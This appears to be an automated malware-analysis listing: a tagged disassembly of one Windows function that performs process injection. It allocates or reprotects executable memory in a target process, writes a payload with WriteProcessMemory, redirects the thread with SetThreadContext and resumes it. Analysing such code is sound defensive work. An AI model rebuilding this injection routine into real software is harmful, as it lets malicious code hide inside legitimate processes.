Function at 0x14006f7c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x560
mov rbx, rcx
mov rsi, rdx
lea rcx, [rsp + 0x98]
xor r15d, r15d
xor edx, edx
mov r8d, 0x4c8
mov r12, r9
mov qword [rsp + 0x90], r15
call fcn.14010c6c0
mov r14d, dword [rsp + 0x5c0]
xor eax, eax
lea rdi, [rsp + 0x78]
cmp qword [rsp + 0x5e0], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x5e8]
cmovne rdi, qword [rsp + 0x5e0]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x5d0]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x5c8]
lea rdx, [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x5b8]
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x78], r15
call fcn.14006f630
cmp qword [rdi], 0xffffffffffffffff
mov ebx, eax
jne 0x14006f8aa
mov qword [rdi], r15
cmp qword [rdi + 8], 0xffffffffffffffff
jne 0x14006f8b5
mov qword [rdi + 8], r15
test eax, eax
jle 0x14006fac9
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x598], rbp
mov ebp, dword [rsp + 0x5b0]
mov qword [rsp + 0x590], r15
mov qword [rsp + 0x70], r15
cmp qword [rsi + 0x30], rdx
jne 0x14006f914
mov r8, qword [rsp + 0x60]
cmp r8, rbp
jb 0x14006f914
mov rcx, qword [rdi]
lea rax, [rsp + 0x70]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x590], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x14006f9ad
call fcn.140061c10
test eax, eax
je 0x14006fa95
mov rcx, qword [rdi]
call fcn.140061cf0
test eax, eax
je 0x14006f955
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rdi]
mov r8, rbp
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [0x14019c6b0]
mov qword [rsp + 0x590], rax
jmp 0x14006f95d
mov rax, qword [rsp + 0x590]
test rax, rax
jne 0x14006f9bb
mov rcx, rsi
call fcn.140061c20
test eax, eax
je 0x14006fa95
mov rcx, qword [rdi]
mov r8, rbp
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [0x14019c6b0]
mov qword [rsp + 0x590], rax
test rax, rax
je 0x14006fa95
mov r8, rax
mov rdx, r12
mov rcx, rsi
call fcn.140061c40
cmp qword [rsp + 0x590], r15
je 0x14006fa95
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rdi]
lea rax, [rsp + 0x60]
lea r8, [rsp + 0x590]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x590]
lea rax, [rsp + 0x60]
mov r9, rbp
mov qword [rsi + 0x30], rdx
mov rcx, qword [rdi]
mov r8, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14006fa90
mov rcx, qword [rsp + 0x590]
mov dword [rsp + 0xc0], 0x10000b
cmp rcx, qword [rsp + 0x68]
jne 0x14006fa41
mov eax, dword [rsi + 0x28]
add rax, qword [rsi + 0x30]
mov qword [rsp + 0x110], rax
jmp 0x14006fa4f
mov eax, dword [rsi + 0x28]
add rax, rcx
mov qword [rsp + 0x110], rax
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test r14b, 4
jne 0x14006fa71
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp qword [rsp + 0x5e0], r15
jne 0x14006fabf
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006fabf
or ebx, 0xffffffff
jmp 0x14006fa9a
mov ebx, 0xfffffffe
mov rcx, qword [rdi]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 8], r15
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi], r15
mov rbp, qword [rsp + 0x598]
mov eax, ebx
mov rbx, qword [rsp + 0x5a0]
add rsp, 0x560
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret